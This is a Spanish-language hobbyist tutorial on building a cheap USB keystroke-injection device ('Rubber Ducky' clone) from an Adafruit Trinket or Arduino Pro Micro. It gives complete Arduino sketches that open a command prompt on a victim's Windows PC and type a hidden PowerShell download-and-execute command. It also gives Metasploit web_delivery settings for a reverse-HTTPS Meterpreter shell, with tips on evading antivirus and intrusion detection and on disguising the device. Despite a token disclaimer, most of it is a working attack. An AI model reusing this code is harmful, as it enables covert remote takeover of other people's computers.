
Comencemos con el tradicional "Este material se presenta solo con fines educativos". Si usas esta información para hackear HBO y lanzar la próxima temporada de Game of Thrones gratis en YouTube, bueno ... genial. En el sentido de que no fomento tal comportamiento.
Si no sabe qué es un "Rubber Ducky" (USB Rubber Ducky), este es el
dispositivo que Hak5 hizo en la foto. Se ve y se comporta como una unidad flash normal, pero se puede programar para ingresar teclas del teclado muy rápidamente. "Duck" puede descifrar cualquier sistema en unos pocos segundos. El único inconveniente es que necesitará acceso físico a la computadora. Y también cuesta $ 50, por eso escribí este artículo.
Usamos una Bagatela Adafruit de 5V y un cable microUSB, eso es todo lo que necesitamos.
Afortunadamente, Adafruit proporciona una biblioteca para la interfaz del teclado a través de USB, por lo que inmediatamente
#include
. Deberá instalar la biblioteca siguiendo
estas instrucciones.
#include <TrinketKeyboard.h>
Para empezar, podemos jugar con la biblioteca, comencemos inicializando la unidad flash como un dispositivo HID utilizando el método begin ().
#include <TrinketKeyboard.h> void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500); }

Se ve bien Ahora ejecute los comandos en la computadora de la víctima. Esto se puede hacer "presionando" la tecla de Windows escribiendo cmd, Enter y luego el comando en sí.
#include <TrinketKeyboard.h> void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Genial Creemos un exploit en el marco Metasploit.
Utilizaremos el módulo
web_delivery . Lo elegí por la alta velocidad y la baja probabilidad de que el antivirus funcione. Tampoco escribe nada en el disco, por lo que no dejará ningún rastro al final del trabajo.
Aquí rompemos el Windows 10 de 64 bits, por lo que apuntaremos a PowerShell, pero tenga en cuenta que esto no se aprovechará de PowerShell. Solo usamos el shell para descargar los archivos necesarios del servidor.
use exploit/multi/script/web_delivery
Necesitamos decirle a nuestro programa de dónde obtener los binarios:
set LHOST 1.2.3.4
A continuación, indique el puerto que no causará sospechas, ¿qué pasa con 443? ;)
set LPORT 443
Metasploit genera un URIPATH aleatorio cada vez, y queremos poder comenzar y dejar de escuchar en el puerto en cualquier momento sin tener que volver a compilar el código para la unidad flash.
set URIPATH /
Ahora debe seleccionar Powershell como método de entrega. El exploit admite tres objetivos marcados con identificadores: estos son 0: Python, 1: PHP y 2: Powershell.
set TARGET 2
Ahora configure la carga útil. Uso reverse_https, porque trabajamos en el puerto 443. Para la mayoría de los sistemas de detección de intrusos, se verá como una conexión regular.
set PAYLOAD windows/meterpreter/reverse_https
Y finalmente
exploit
.
Para detener y reanudar convenientemente la escucha de puertos, cree un archivo de configuración: usb.rc.
use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit
Obtenemos la carga útil para que se ejecute en la computadora de la víctima:
powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');
Ahora podemos ejecutarlo desde una unidad flash.
#include <TrinketKeyboard.h> void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Funciona muy bien Necesitamos unos 40 segundos para follar a Daenerys, me refiero a la computadora de la víctima.

Debido a la potencia limitada del "pato", el gestor de arranque no siempre está disponible, como en el Arduino habitual, puede descargar el código solo cuando presiona el botón en la unidad flash USB o durante los primeros 30 segundos de funcionamiento. Es decir, los primeros 30 segundos después de conectar la unidad flash, esperamos hasta que el código realmente funcione, y luego otros 10 segundos para escribir y ejecutar el script. Sería muy útil reducir el tiempo de acceso en un 75%.
Este buen hombre editó el firmware para omitir el gestor de arranque cuando está conectado. Tomamos el código y volvimos a actualizar la unidad flash, volvimos a cargar el código, etc. Todo funciona. Pero puede hacerlo aún mejor: sería bueno ocultar el chip en el caso para que no cause sospechas.
Seleccioné una de esas discretas unidades flash USB que millones de distribuidores regalan, y pedí
estos pequeños y geniales adaptadores microUSB OTG: USB A. Tuve que cortar las partes innecesarias de la placa de circuito para que encajara en la caja, colocar el adaptador OTG en la caja USB A y pegado todo con superpegamento. No me parece sospechoso en absoluto, pero aún así 10 segundos es un tiempo considerable, especialmente cuando te escondes de los dragones.

También puede pedir el Arduino Pro Micro en Amazon por alrededor de $ 10. Si tiene paciencia, incluso puede encontrarlo en eBay por alrededor de $ 3 o $ 4. No tenía una memoria USB grande para el Pro Micro, así que enchufé el adaptador OTG, lo rebobiné con cinta aislante y me tranquilicé.

Necesitamos cambiar un poco el programa, porque usamos una biblioteca diferente, pero funcionará como antes.
#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); Keyboard.write(KEY_RETURN); } void loop() {
La mayor ventaja de Pro Micro es su velocidad. Ahora solo necesitamos 3 segundos de acceso físico. Un verdadero ataque sobre la marcha. Si tiene la intención de utilizar esta fuerza, hágalo por una buena causa. Mata a Cersei.